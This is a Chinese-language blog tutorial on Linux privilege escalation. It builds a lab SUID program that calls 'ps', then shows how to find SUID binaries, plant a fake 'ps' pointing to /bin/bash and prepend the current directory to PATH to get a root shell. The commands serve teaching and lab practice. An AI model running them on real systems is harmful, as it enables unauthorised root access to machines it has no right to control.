?

May 09 2019

Linux提權之SUID

首頁 » 滲透測試 » Linux提權之SUID   

Linux提權之SUID

介紹

PATH是Linux和類Unix操作系統中的環境變量,它指定存儲可執行程序的所有bin和sbin目錄。當用戶在終端上運行任何命令時,它會通過PATH變量來響應用戶執行的命令,向shell發送請求以搜索可執行文件。超級用戶通常還具有/ sbin和/ usr / sbin條目以便于執行系統管理命令。
SUID屬性一般用在可執行文件上,當用戶執行該文件時,會臨時擁有該執行文件的所有者權限。一旦程序擁有SUID權限的話,運行該程序時會以最高權限運行。
查看$PATH變量
[email protected]:~$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

環境搭建
我們需要先生成一個具有SUID權限的程序,所以先編寫一個c語言程序,代碼如下:

#include <unistd.h>
#include <stdlib.h>
int main(vod)
{    
setuid(0);    
setgid(0);
system("ps");

return 0;

}

然后對其進行編譯,并給編譯出來的賦予SUID權限(chmod u+s pwn等同于chmod 4755 pwn)
1.png
開始提權
根據文章 Linux Privilege Escalation Using PATH Variable

中提到的4種提權方法,實際上可以歸結為1種,就是修改環境變量調用 /bin/bahs 程序。下面來看具體操作:

find . -perm -u=s -type f 2>/dev/null    # 在當前目錄下查找具有SUID權限的可執行文件
echo "/bin/bash" > ps    # 在當前目錄下生成一個內容為
/bin/bash 的ps文件chmod 777 ps    # 給它可執行權限
echo $PATH        # 查看當前環境變量
export PATH=.:$PATH        # 將當前路徑添加到環境變量中
./pwn    # 執行具有SUID權限程序

2.png


首先我們使用 find . -perm -u=s -type f 2>/dev/null 在當前目錄下查找具有SUID權限的可執行文件,我們找到了pwn。由于pwn程序調用了了系統的ps程序,所以我們要在當前目錄下生成一個內容為 /bin/bash 的ps文件,并給它可執行權限,然后我們再把當前路徑添加到環境變量中,這樣做的目的就是然程序搜索ps程序的時候,先從當前目錄開始搜索,這樣就會搜索到我們生成的ps文件,從而執行 /bin/bash 程序,達到提權的目的。
我們還可以使用創建軟鏈接的方式來替代上面的 echo "/bin/bash">ps && chmod 777 ps 命令,這種方式更快些。

ln -s /bin/bash ps

3.png

正文部分到此結束

文章標簽: linux提權 suid提權

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «JSONP與CORS漏洞挖掘 | Metasploit框架中的Windows內核漏洞利用提權教程»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖